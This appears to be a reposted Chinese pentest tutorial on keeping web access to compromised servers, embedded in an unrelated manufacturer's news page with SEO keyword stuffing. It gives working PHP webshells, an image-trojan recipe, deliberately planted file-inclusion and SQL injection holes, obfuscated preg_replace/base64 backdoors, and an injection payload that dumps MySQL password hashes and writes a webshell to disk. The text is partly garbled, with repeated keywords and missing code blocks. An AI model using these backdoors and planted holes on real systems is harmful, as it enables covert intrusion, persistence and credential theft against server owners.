歡迎光臨陜西驪山低速風(fēng)機(jī)動(dòng)力制造有限公司官網(wǎng)!

全國(guó)咨詢熱線:

400-8888-888

木馬怎么做_木馬怎么做手工

所屬分類(lèi):新聞資訊 發(fā)布日期:2024-08-28 瀏覽次數(shù):6

  關(guān)于權(quán)限維持,我之前寫(xiě)過(guò)一篇基于系統(tǒng)端木馬怎么做的后門(mén)技術(shù)文章,如映像劫持啊,lpk之類(lèi)。當(dāng)然啦,在拿到權(quán)限后,在web端做手腳也是個(gè)好辦法。

  內(nèi)容目錄

  - 構(gòu)造文件包含漏洞

  - 隱蔽性腳本木馬

  - 構(gòu)造sql注入點(diǎn)

  構(gòu)造文件包含漏洞

  本部分概覽

  * 基本的文件包含姿勢(shì)

  * 制作圖片馬

  * 構(gòu)造文件包含漏洞

  >>>>

  PHP文件包含漏洞介紹

  首先,我們來(lái)介紹下何為文件包含漏洞。嚴(yán)格來(lái)說(shuō),文件包含漏洞是`代碼注入`的一種。其原理就是注入一段用戶能控制的腳本或代碼,并讓服務(wù)端執(zhí)行。`代碼注入`的典型代表就是文件包含。文件包含漏洞可能出現(xiàn)在`JSP、PHP、ASP`等語(yǔ)言中,原理都是一樣的,本實(shí)驗(yàn)以PHP文件包含漏洞做例子。

  要想成功利用文件包含漏洞進(jìn)行攻擊,需要滿足以下兩個(gè)條件木馬怎么做

  1. Web應(yīng)用采用include()等文件包含函數(shù)通過(guò)動(dòng)態(tài)變量的方式引入需要包含的文件;

  2. 用戶能夠控制該動(dòng)態(tài)變量。

  在PHP中,有四個(gè)用于包含文件的函數(shù),當(dāng)使用這些函數(shù)包含文件時(shí),文件中包含的PHP代碼會(huì)被執(zhí)行。下面對(duì)它們之間的區(qū)別進(jìn)行解釋?zhuān)?/p>

  `include()`:當(dāng)使用該函數(shù)包含文件時(shí),只有代碼執(zhí)行到`include()`函數(shù)時(shí)才將文件包含進(jìn)來(lái),發(fā)生錯(cuò)誤時(shí)只給出一個(gè)警告,繼續(xù)向下執(zhí)行。

  `include_once()`:功能和`include()`相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。

  `require()`:`require()`與`include()`的區(qū)別在于`require()`執(zhí)行如果發(fā)生錯(cuò)誤,函數(shù)會(huì)輸出錯(cuò)誤信息,并終止腳本的運(yùn)行。使用`require()`函數(shù)包含文件時(shí),只要程序一執(zhí)行,立即調(diào)用文件,而include()只有程序執(zhí)行到該函數(shù)時(shí)才調(diào)用。

  `require_once()`:它的功能與`require()`相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。

  步驟1 基本的文件包含姿勢(shì)

  以下所有步驟建立在已經(jīng)取得目標(biāo)機(jī)權(quán)限的情況下。

  我們假設(shè)事先通過(guò)一系列的滲透測(cè)試得到了目標(biāo)機(jī)的一句話webshell。

  假設(shè)我們事前得知,目標(biāo)服務(wù)器的一些腳本文件存在文件包含漏洞,如:

  /clude.php?file=index.php

  其參數(shù)`file`沒(méi)有作很好的過(guò)濾,可以包含任意文件。

  比如,我們?cè)诼┒次募clude.php`同目錄新建一個(gè)文件`getshell.php`,內(nèi)容是PHP一句話木馬:

  <?php @eval($_POST['pass']);?>

  使用中國(guó)菜刀進(jìn)入文件管理功能并如下操作,那么我們嘗試通過(guò)`clude.php`包含腳本木馬`getshell.php`:

  /clude.php?file=getshell.php

  點(diǎn)擊`Enable Post data`調(diào)出POST數(shù)據(jù)欄,并POST以下數(shù)據(jù):

  pass=system('set');

  此處傳遞的變量是通過(guò)調(diào)用PHP的`system()`函數(shù)執(zhí)行`set`命令來(lái)查看當(dāng)前系統(tǒng)的環(huán)境變量。

  當(dāng)然,這里直接包含了一個(gè)木馬文件,在我們已經(jīng)有了webshell的情況下,這好像并沒(méi)有很大意義。隱蔽性并不是很強(qiáng)。

  步驟2 制作圖片馬

  PHP文件包含,其包含的文件無(wú)論是什么格式,都會(huì)被當(dāng)做PHP文件來(lái)解析。

  那么,如果惡意代碼被插入到了一個(gè)正常的網(wǎng)頁(yè)圖片中,而且圖片在被插入惡意代碼之后還能正常顯示,那隱蔽性就增強(qiáng)了。

  圖片木馬其實(shí)還有另一點(diǎn)意義,有些網(wǎng)站我們?cè)跐B透測(cè)試嘗試上傳shell的時(shí)候,會(huì)要用到上傳文件,但是有的時(shí)候都會(huì)有過(guò)濾,如果只是上傳`.asp .php`結(jié)尾的文件的話系統(tǒng)是不會(huì)給木馬怎么做你上傳的,那么這個(gè)時(shí)候我們通常會(huì)把一句話放在圖片里面,寫(xiě)成`1.asp;.jpg或1.asp;jpg`的格式上傳上去,這樣上傳的時(shí)候系統(tǒng)檢測(cè)是圖片,然后在上傳之后,會(huì)把這個(gè)文件當(dāng)asp文件來(lái)處理。

  那么如何用制作圖片形式的一句話木馬呢?

  首先我們?cè)诠ぞ吣夸洔?zhǔn)備了一個(gè)圖片文件`1.png`,和一個(gè)一句話木馬文件`hack.php`。

  準(zhǔn)備好之后就在該目錄開(kāi)啟命令行,然后輸入以下命令:

  copy 1.png/b+hack.php test.png

  然后回車(chē)就系統(tǒng)就會(huì)自動(dòng)把這兩個(gè)文件組合起來(lái)并命名為`test.png`:

  這個(gè)時(shí)候我們打開(kāi)兩個(gè)文件對(duì)比一下,用記事本打開(kāi),發(fā)現(xiàn)`1.png`的內(nèi)容當(dāng)中已經(jīng)把我們的`hack.php`的一句話木馬語(yǔ)句已經(jīng)加加到圖片當(dāng)中去了。

  當(dāng)然了,最重要的是,被寫(xiě)入了一句話的圖片還是可以正常打開(kāi)的,此為本步驟的目的所在:

  那么,在實(shí)際滲透測(cè)試實(shí)驗(yàn)中,我們通常是通過(guò)下載網(wǎng)站原有的圖片文件并替換成一句話木馬最后通過(guò)替換原本的圖片文件達(dá)到一定的隱蔽效果。

  那么我們?cè)囋囋搱D片木馬是否可用,先通過(guò)中國(guó)菜刀的文件上傳功能把`test.png`上傳到目標(biāo)機(jī)根目錄:

  那么我們嘗試通過(guò)`clude.php`包含一句話圖片木馬`test.png`:

  /clude.php?file=test.png

  點(diǎn)擊`Enable Post data`調(diào)出POST數(shù)據(jù)欄,并POST以下數(shù)據(jù):

  pass=system('set');

  此處傳遞的變量是通過(guò)調(diào)用PHP的`system()`函數(shù)執(zhí)行`set`命令來(lái)查看當(dāng)前系統(tǒng)的環(huán)境變量。

  當(dāng)然,這里還是直接包含了一個(gè)木馬文件,在我們已經(jīng)有了webshell的情況下,這好像并沒(méi)有很大意義。隱蔽性并不是很強(qiáng)。

  步驟3 構(gòu)造文件包含漏洞

  那么假設(shè)我們拿到shell的服務(wù)器上的腳本文件都不存在文件包含漏洞就需要我們自己來(lái)構(gòu)造漏洞了,以達(dá)到權(quán)限維持的效果。

  文件包含漏洞的腳本文件的構(gòu)造就比較簡(jiǎn)單了,直接寫(xiě)一個(gè)不帶有任何過(guò)濾的利用`include()`函數(shù)調(diào)用文件的PHP文件,文件代碼及相關(guān)的注釋如下:

  <?php

  $filename=$_GET['filename']; //將參數(shù)file的值傳遞給$filename變量include($filename); //使用include()函數(shù)包含文件

  ?>

  上述代碼我們已經(jīng)保存在工具目錄的`include.php`,我們使用中國(guó)菜刀的文件管理功能把`include.php`上傳到目標(biāo)站根目錄:

  接下來(lái)我們?cè)跒g覽器訪問(wèn)以下URL以包含圖片木馬`test.png`:

  此處的PNG文件被當(dāng)做是PHP文件解析,于是直接顯示了圖片亂碼,我們?cè)趤y碼最后并沒(méi)有發(fā)現(xiàn)我們的一句話木馬痕跡,于是推斷我們的一句話木馬已經(jīng)被解析。

  接著我們點(diǎn)擊`Enable Post data`調(diào)出POST數(shù)據(jù)欄,并POST以下數(shù)據(jù):

  pass=system('net user');

  此處傳遞的變量是通過(guò)調(diào)用PHP的`system()`函數(shù)執(zhí)行`set`命令來(lái)查看當(dāng)前系統(tǒng)的環(huán)境變量。

  我們?cè)趫D片亂碼下面可以看到`net user`命令的回顯。

  至此,圖片木馬被成功部署并利用。

  隱蔽性腳本木馬

  本部分概覽:

  * 使用`preg_replace`函數(shù)留后門(mén)

  * 使用加密`preg_replace`函數(shù)

  * 變異加密型后門(mén)

  步驟1 使用`preg_replace`函數(shù)留后門(mén)

  其實(shí)我們可以通過(guò)如下代碼實(shí)現(xiàn)了隱藏式后門(mén):

  <?php @preg_replace("http://e",$_POST['IN_COMSENZ'],"Access Denied");?>

  乍看到這個(gè)代碼覺(jué)得沒(méi)什么問(wèn)題,這里用到的是php的`preg_replace`函數(shù):

  - `preg_replace`函數(shù)原型:

  mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

  特別說(shuō)明:

  `/e`修正符使`preg_replace()`將`replacement`參數(shù)當(dāng)作 PHP代碼(在適當(dāng)?shù)哪嫦蛞锰鎿Q完之后)。

  提示:要確保`replacement`構(gòu)成一個(gè)合法的 PHP 代碼字符串,否則 PHP 會(huì)在報(bào)告:在"包含 `preg_replace()` 的行中出現(xiàn)語(yǔ)法解析錯(cuò)誤."上面的代碼是POST接收數(shù)據(jù),實(shí)現(xiàn)可能不太直觀,如果換成GET獲取數(shù)據(jù)的話可以更好地理解:

  舉例,代碼如下:

  <?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>

  我們假設(shè)事先通過(guò)一系列的滲透測(cè)試得到了目標(biāo)機(jī)的一句話webshell。

  在中國(guó)菜刀的文件管理頁(yè)面右鍵,新建一個(gè)`test.php`,內(nèi)容是上述的`get`方式提交的一句話:

  <?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>

  如果我們提交`?h=phpinfo()`即是通過(guò)傳參執(zhí)行了PHP的`phpinfo()`函數(shù)。

  即在瀏覽器訪問(wèn)以下URL傳遞需要執(zhí)行的變量函數(shù)`phpinfo()`:

  /test.php?h=phpinfo();

  如上圖可見(jiàn)`phpinfo()`將會(huì)被執(zhí)行(用`/e`修飾符,`preg_replace`會(huì)將`replacement`參數(shù)當(dāng)作PHP代碼執(zhí)行)。

  在PHP中,雙引號(hào)里面如果包含有變量,php解釋器會(huì)將其替換為變量解釋后的結(jié)果,單引號(hào)中的變量不會(huì)被處理。

  **注意:**雙引號(hào)中的函數(shù)不會(huì)被執(zhí)行和替換。

  步驟2 使用加密`preg_replace`函數(shù)

  我們準(zhǔn)備了一個(gè)加密`preg_replace`函數(shù)的一個(gè)php后門(mén)文件:

  文件內(nèi)容如下:

  上述代碼最后解密出來(lái)其實(shí)還是利用`preg_replace`的`/e`來(lái)執(zhí)行的一句話webshell。

  代碼中的md5值`202cb962ac59075b964b07152d234b70`明文是`123`。

  我們先通過(guò)上個(gè)步驟中的一句話木馬把`test1.php`上傳到目標(biāo)機(jī)根目錄,該木馬的利用方式是訪問(wèn)該文件并通過(guò)POST方式提交類(lèi)似如下數(shù)據(jù):

  pass=123&check=phpinfo();

  那么我們?cè)跒g覽器POST數(shù)據(jù)一般是通過(guò)火狐瀏覽器的hackbar插件,火狐瀏覽器的的Hackbar插件的POST數(shù)據(jù)欄默認(rèn)是不開(kāi)啟的,我們需要勾選上圖紅圈中的部分已啟動(dòng)POST欄。

  啟動(dòng)POST欄之后,我們?cè)赻Post data`一欄輸入以下數(shù)據(jù)來(lái)POST給服務(wù)器:

  pass=123&check=phpinfo();

  上述POST的數(shù)據(jù)是嘗試執(zhí)行`phpinfo()`函數(shù):

  如上圖可見(jiàn),`phpinfo()`函數(shù)被成功執(zhí)行。

  當(dāng)然我們還能通過(guò)`system()`函數(shù)來(lái)執(zhí)行系統(tǒng)命令:

  如通過(guò)火狐瀏覽器的Hackbar插件POST以下數(shù)據(jù):

  pass=123&check=system('set')

  上述POST的數(shù)據(jù)中就是執(zhí)行了系統(tǒng)命令`set`查看當(dāng)前操作系統(tǒng)環(huán)境變量,如上圖,我們成功取得了返回。

  步驟3 變異加密型后門(mén)

  我們這里準(zhǔn)備了一個(gè)PHP腳本后門(mén),代碼很是奇葩,源代碼如下:

  上述源碼,光看看木馬怎么做你是看不出什么端倪的。我們?yōu)榱朔奖愦蠹铱吹缴鲜龃a到底做了些什么,對(duì)代碼做了輸出調(diào)試處理,輸出每個(gè)步驟的輸出,并對(duì)代碼做了一些詳細(xì)的解釋?zhuān)?/p>

  做了調(diào)試的的源碼我們命名為`base1.php`:

  接著我們使用中國(guó)菜刀把上述兩個(gè)文件`base.php`和`base1.php`都上傳到網(wǎng)站根目錄。

  好了之后我們?cè)L問(wèn)已經(jīng)做了調(diào)試的`base1.php`:

  ```

  https://172.16.12.2/base1.php

  ```

  如上圖可見(jiàn),php文件運(yùn)行起來(lái)后輸出結(jié)果如下:

  上述代碼文件我們是一步一步輸出的,輸出到最后,我們發(fā)現(xiàn),生成的竟然是經(jīng)典的PHP版一句話木馬文件代碼:

  eval(_decode($_POST[‘z0’]))

  上述一句話木馬文件中在POST數(shù)據(jù)外加了`_decode`函數(shù),于是我們需要對(duì)變量的提交做``加密處理。

  `base.php`上傳之后具體的URL地址如下:

  我們?cè)诨鸷鼮g覽器訪問(wèn)該文件,并使用Hackbar插件直接提交下面的數(shù)據(jù)是不行的:

  ```

  z0=phpinfo();

  ```

  我們需要把對(duì)`z0`變量的賦值進(jìn)行加密,加密后的數(shù)據(jù)形式如下:

  ```

  z0=cGhwaW5mbygpOw==

  ```

  我們直接選中`z0=phpinfo();`中的`phpinfo();`,然后點(diǎn)擊`Encoding`->` Encoding`,如此`phpinfo();`將會(huì)被加密:

  加密完成后,我們點(diǎn)擊`Execute`提交:

  如上圖,`phpinfo()`函數(shù)被成功執(zhí)行。

  那么我們也可以嘗試執(zhí)行系統(tǒng)命令如`net user`:

  常規(guī)來(lái)說(shuō),我們提交的是如下數(shù)據(jù):

  ```

  z0=system('net user');

  ```

  在這里我們就需要對(duì)變量的賦值`system('net user');`部分進(jìn)行加密,選中POST欄的`phpinfo();`,然后點(diǎn)擊`Encoding`->` Encoding`,然后POST的數(shù)據(jù)變成如下形式:

  ```

  z0=c3lzdGVtKCd2ZXInKTs=

  ```

  加密完成后,我們點(diǎn)擊`Execute`提交:

  如上圖可見(jiàn),`net user`命令被成功執(zhí)行而且我們獲得了清晰地返回信息。

  構(gòu)造sql注入點(diǎn)

  本部分概覽:

  * 構(gòu)造注入點(diǎn)

  * 利用構(gòu)造的注入點(diǎn)

  本部分以php腳本和MySQL數(shù)據(jù)庫(kù)為例,演示在獲得目標(biāo)機(jī)權(quán)限之后,在目標(biāo)機(jī)上面構(gòu)造一個(gè)注入漏洞方便我們后續(xù)隱蔽性維持權(quán)限的方法。

  步驟1 構(gòu)造注入點(diǎn)

  我們假設(shè)事先通過(guò)一系列的滲透測(cè)試得到了目標(biāo)機(jī)的一句話webshell。

  打開(kāi)中國(guó)菜刀工具添加一句話木馬,注意數(shù)據(jù)庫(kù)配置信息填寫(xiě)如下數(shù)據(jù)(事先獲得):

  <T>MYSQL</T>

  <H>localhost</H>

  <U>root</U>

  <>root</P>

  <N>mysql</N>

  使用中國(guó)菜刀進(jìn)入到目標(biāo)機(jī)的數(shù)據(jù)庫(kù)管理功能:

  在中國(guó)菜刀的數(shù)據(jù)庫(kù)管理功能頁(yè)面執(zhí)行以下語(yǔ)句以創(chuàng)建一個(gè)新的數(shù)據(jù)庫(kù):

  ```

  create database sqlinject;

  ```

  然后退出該數(shù)據(jù)庫(kù)管理頁(yè)面,在重新進(jìn)入數(shù)據(jù)庫(kù)管理頁(yè)面就能看到新建的數(shù)據(jù)庫(kù)`sqlinjec`了,我們雙擊該數(shù)據(jù)庫(kù)名切換到該數(shù)據(jù)庫(kù):

 木馬怎么做_木馬怎么做手工

  然后執(zhí)行以下語(yǔ)句在`sqlinject`數(shù)據(jù)庫(kù)中建立表和列:

  ```

  create table admin(id int auto_increment primary key,username varchar(32) not null,password varchar(32) not null);

  ```

  再執(zhí)行以下語(yǔ)句想表中的列寫(xiě)入字段值:

 木馬怎么做_木馬怎么做手工

  ```

  insert into admin (username,password) values ('admin',md5('admin')),('safe',md5('12345')),('test',md5('test'));

  ```

  然后我們雙擊查看`inject`數(shù)據(jù)庫(kù)下各項(xiàng),可以看到數(shù)據(jù)已經(jīng)寫(xiě)入。

  接下來(lái)我們需要構(gòu)造腳本文件調(diào)用上述數(shù)據(jù)庫(kù),腳本文件內(nèi)容如下:

  該文件上傳完畢后,我們根據(jù)上述腳本內(nèi)容推測(cè),構(gòu)造的sql注入點(diǎn)如下:

  /test.php?id=1

  步驟2 利用構(gòu)造的注入點(diǎn)

  根據(jù)我們之前講的sql注入相關(guān)知識(shí),我們嘗試通過(guò)構(gòu)造以下語(yǔ)句讀取數(shù)據(jù)庫(kù)用戶相關(guān)信息:

  test.php?id=-1 union select concat(host,0x7c,user,0x7c,password),2,3 from mysql.user where host = 'localhost'#

  >我們把參數(shù)從1改為-1是為了防止當(dāng)前查詢的返回結(jié)果影響我們到時(shí)候提取指定文本。

  >`concat()`函數(shù)把多個(gè)需要查詢的字段放在一起

  >`0x7c`是`|`符號(hào)的16進(jìn)制轉(zhuǎn)碼結(jié)果,有利于我們到時(shí)候把字段區(qū)分開(kāi)。

  我們得到以下具體信息:

  localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

  如此得知本地主機(jī)`localhost`的`root`賬戶的密碼hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。

  實(shí)際滲透測(cè)試中,我們可以通過(guò)`cmd5.com`的大型hash破解平臺(tái)來(lái)破解密碼,我們這里通過(guò)線上破解得知,此hash對(duì)應(yīng)的密碼值為`root`。這些信息可以用來(lái)后續(xù)的mysql提權(quán)。

  后來(lái)假設(shè)我們之前的一句話木馬被管理員刪除了,然而我們還是可以利用上述我們創(chuàng)建的sql注入點(diǎn)向服務(wù)器再寫(xiě)入一個(gè)腳本木馬。

  然后我們嘗試在這里寫(xiě)一個(gè)一句話webshell到服務(wù)器,一句話木馬樣本如下:

  <?php @eval($_POST['pass']);?>

  我們?cè)诨鸷鼮g覽器的HackBar插件把上述一句話木馬轉(zhuǎn)換為16進(jìn)制,目的是避免特殊字符的轉(zhuǎn)義導(dǎo)致語(yǔ)句不能正確執(zhí)行:

  如圖,一句話木馬加密后的結(jié)果為:

  3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e

  然后在注入點(diǎn)構(gòu)造以下語(yǔ)句把一句話導(dǎo)出到`c:/www/small.php`,我們?cè)谝痪湓捘抉R的16進(jìn)制字符前加了`0x`(此為16進(jìn)制標(biāo)識(shí)符):

  以上語(yǔ)句連續(xù)執(zhí)行兩次,如果出現(xiàn)以下錯(cuò)誤,即說(shuō)明文件寫(xiě)入成功:

  Invalid Query:File 'c:/www/small.php' already exists//第二次寫(xiě)入提示文件已存在則說(shuō)明文件寫(xiě)入成功

  我們嘗試使用中國(guó)菜刀連接一句話木馬,如下圖操作:

  至此,我們成功夠早了sql注入點(diǎn)并成功利用其向目標(biāo)機(jī)寫(xiě)入了新的webshell。

  分析與總結(jié)

  主要學(xué)習(xí)了以下內(nèi)容:

  - 隱蔽性腳本木馬

  - 畸形目錄隱藏shell

  - 構(gòu)造文件包含漏洞

  - 構(gòu)造sql注入點(diǎn)

  通過(guò)本實(shí)驗(yàn),我們學(xué)習(xí)了幾種比較奇特的隱蔽性的腳本木馬的原理和利用方式,目的在于維持web端的權(quán)限。還學(xué)習(xí)了基本的文件包含漏洞的利用、圖片木馬的制作,以及如何構(gòu)造文件包含漏洞以便我們后續(xù)維持web端權(quán)限、在目標(biāo)服務(wù)器web端構(gòu)造sql注入點(diǎn)用以后續(xù)維持權(quán)限的方式。

  當(dāng)然,web端權(quán)限維持技術(shù)各種各樣,不僅于此,只有你想不到,沒(méi)有滲透測(cè)試人員做不到。

  若涉及敏感操作,請(qǐng)?jiān)诜稍试S的范圍內(nèi)測(cè)試!

  作者:Binghe

  來(lái)源:i春秋

  鏈接:https://bbs.ichunqiu.com/thread-19144-1-1.html

煉石信息安全培訓(xùn)春季班開(kāi)招

QQ:495066536

372806985

敬請(qǐng)持續(xù)關(guān)注……

評(píng)論列表

還沒(méi)有評(píng)論,快來(lái)說(shuō)點(diǎn)什么吧~

發(fā)表評(píng)論

真誠(chéng)期待與您的合作

獲取報(bào)價(jià)·了解更多業(yè)務(wù)·7*24小時(shí)專(zhuān)業(yè)服務(wù)

聯(lián)系我們